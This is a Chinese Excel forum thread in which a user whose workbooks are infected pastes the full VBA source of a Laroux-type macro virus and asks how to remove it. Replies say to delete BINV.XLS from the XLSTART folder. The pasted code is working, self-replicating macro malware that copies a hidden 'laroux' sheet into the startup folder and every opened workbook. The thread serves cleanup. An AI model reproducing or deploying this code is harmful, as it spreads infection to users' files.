Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 18671|回复: 9

[已解决]怎么删除宏病毒!!excel表中毒!!

[复制链接]
发表于 2010-10-18 08:55 | 显示全部楼层 |阅读模式

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "BINV.XLS")
    If m$ = "BINV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "BINV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "BINV.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    If s$ <> "laroux" Then
        Workbooks("BINV.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "BINV.xls!check_files"
    Case Else
End Select
End Sub
   
我的EXCEL2003在最近总是在打开文件时,同时打开一个BINV.XLS文件,十分麻烦,而且如果直接找开EXCEL并不是原来的EXCEL--BOOK1,而是打开一个BINV.XLS文件,该文件只有两个工作表,一个名为“XXXXXX”,另一个名为“SHEFT1”,

每次打开表都提示打开,但是我的电脑中没有BINV.xls 这个表,我删除了,打开表格自动又有了。

保存的时候提示你每次另存为。估计只要我另存为表格就被别人COPY走了。。

我现在只把这段代码删除,宏启动关闭!

请问这个怎么彻底删除???

最佳答案
2010-10-18 08:59

关闭 EXCEL

在文件夹选项中设置显示隐藏文件,然后再搜索BINV.XLS文件。

通常可能会在下面的目录中

C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART

找到后,删除就可以了

excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2010-10-18 08:57 | 显示全部楼层
回复

使用道具 举报

发表于 2010-10-18 08:59 | 显示全部楼层    本楼为最佳答案   

关闭 EXCEL

在文件夹选项中设置显示隐藏文件,然后再搜索BINV.XLS文件。

通常可能会在下面的目录中

C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART

找到后,删除就可以了

回复

使用道具 举报

发表于 2010-10-18 09:00 | 显示全部楼层

ls的对的

[此贴子已经被作者于2010-10-18 9:00:34编辑过]
回复

使用道具 举报

 楼主| 发表于 2010-10-18 09:02 | 显示全部楼层

QUOTE:
以下是引用那么的帅在2010-10-18 8:59:00的发言:

关闭 EXCEL

在文件夹选项中设置显示隐藏文件,然后再搜索BINV.XLS文件。

通常可能会在下面的目录中

C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART

找到后,删除就可以了

谢谢师傅,晚上回家弄一下!!
回复

使用道具 举报

发表于 2010-10-18 09:08 | 显示全部楼层

原来这个病毒也不可怕,只要把这个文件删了就可以了
回复

使用道具 举报

发表于 2010-10-18 09:38 | 显示全部楼层

没碰到过宏病毒,没有经验!
[em01]
回复

使用道具 举报

发表于 2012-5-28 15:27 | 显示全部楼层
那么的帅 发表于 2010-10-18 08:59
关闭 EXCEL 在文件夹选项中设置显示隐藏文件,然后再搜索BINV.XLS文件。通常可能会在下面的目录中C:\Docume ...

我也中了宏病毒,很多文件都没了,我按照你的方法搜索了,就是没找到啊,还有别的方法吗
回复

使用道具 举报

发表于 2022-6-3 20:41 | 显示全部楼层
本帖最后由 linuvzg 于 2022-7-21 23:35 编辑

学习了






回复

使用道具 举报

发表于 2022-6-4 02:47 | 显示全部楼层
收藏一下
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-4-19 10:38 , Processed in 0.431419 second(s), 8 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表